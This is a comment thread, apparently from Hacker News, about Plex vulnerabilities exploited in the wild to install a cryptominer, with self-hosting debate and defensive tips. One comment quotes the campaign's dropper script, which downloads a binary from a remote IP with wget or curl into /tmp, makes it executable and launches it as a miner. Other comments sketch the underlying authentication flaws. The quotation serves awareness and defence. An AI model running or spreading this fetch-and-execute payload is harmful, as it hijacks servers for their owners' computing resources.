Plex vulnerabilities being exploited in the wild to drop a cryptominer

Fortunately Claude helped me identify the problem, and helped me fix it all on my linux server. I'm a bit out of my depth with anything difficult on Linux, and AI has really been helping a lot.

The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:

    #!/bin/sh

    if ps -eo comm= | grep -qx 'x12345'; then
        exit 0
    fi

    cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker

mount /tmp with noexec option, or remove exec permissions.

you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.

decloaker, chkrootkit, unhide... can help to analyze an infected system.

[0] https://github.com/gustavo-iniguez-goya/decloaker

[1] https://chkrootkit.org

Stage 1: one endpoint checks for the token header existence, not its content. From the writeup I'm guessing all the other endpoints do check the content, so why?

Stage 3: checks if the URL starts with http://127.0.0.1, not if the domain is 127.0.0.1, to expose an admin token. Ouch.

I have a lifetime subscription, I use plex to share the media with the wife and kids on all of our devices, it does the job. I won't bitch about their streaming ambitions, but doing automatic updates and taking security seriously would go far for them.

Selecting a season and then the episode gives you the episode summary instead of just playing the episode.

Hitting back on an episode brings up a side menu sometimes and others it leaves the episode like it should.

Why Plex?

https://amphetamem.es/meme?id=office-space_1999_1140&text=Bu...

Probably the majority of people with a Plex Pass subscription and most Plex users in general.

As far as I see it, Plex's primary purpose is to allow people who have extensive collections of legally obtained digital media to conveniently access it and share access to their friends and family on pretty much any random device from anywhere in the world.

All my home media devices run Kodi, they run Jellyfin, they run all sorts of fully open stuff, but when I travel Plex wins because it runs on basically anything that can stream video and I can sign in to it in seconds without needing to connect a VPN or enter my password on someone else's device.

If it were just me using Plex then it would be different, but I can't realistically expect all my friends and family to get on a tailnet, and so I take the risk with an up-to-date Plex on the internet.

The point of Plex is sharing your library with less ... technical users.

If I didn't want to do that, I'd not even use Jellyfin- SMB share and mpv would be fine with me.

A budy of mine has got 30 000 movies and series. Better offer than Netflix (what, easily 4x more choice!?). He's got a 42U rack. He gives free access to his server to his friends and family: it's not a business (so what he risks is also very limited in the country he lives in, for he's not making a business out of it).

It's not because you and I don't run Plex servers accessible from the big bad Internet that others don't enjoy doing it.

Now concerning this miner: I've posted about it in the past here on HN but I only run Jellyfin on my LAN and it's only with throwaway containers: I've got a script that sets up movies/series named/organized the way Jellyfin likes it, then that volume is passed read-only to a transient podman container.

When we're done watching the movie, the podman container is deleted. It's over: it doesn't exists anymore.

All that I care about are data: like family pictures and movies (and, say, other movies).

My Jellyfin server is just a temporary "view" on my actual data.

I don't trust it and don't need to trust it: for it's only future after I'm done watching the movie is to be destroyed.

I share my Plex/Jellyfin with a couple dozen friends and family members, all of varying levels of technical knowledge. “Install an app called Jellyfin on your smart TV” is complicated enough for most people. “Also search for another app called Tailscale and now log in with my credentials, yes it’s going to ask for control over your device’s network acces, don’t worry, it’s fine!” So now it’s just a public URL served up with Caddy.

Nothing bad has happened yet, there’s not much valuable on this machine other than CPU cycles and movies I definitely obtained legally, and I would notice right away if a cryptominer jacked up the CPU to 100%.

I run jellyfin on the open internet through caddy. I've done a few things to the configuration to secure it, like user-agent restrictions and fail2ban for login failures, and excessive 400 series errors. I keep it up to date.

The chief complaint is really an indictment of every piece of shit modern web app backend.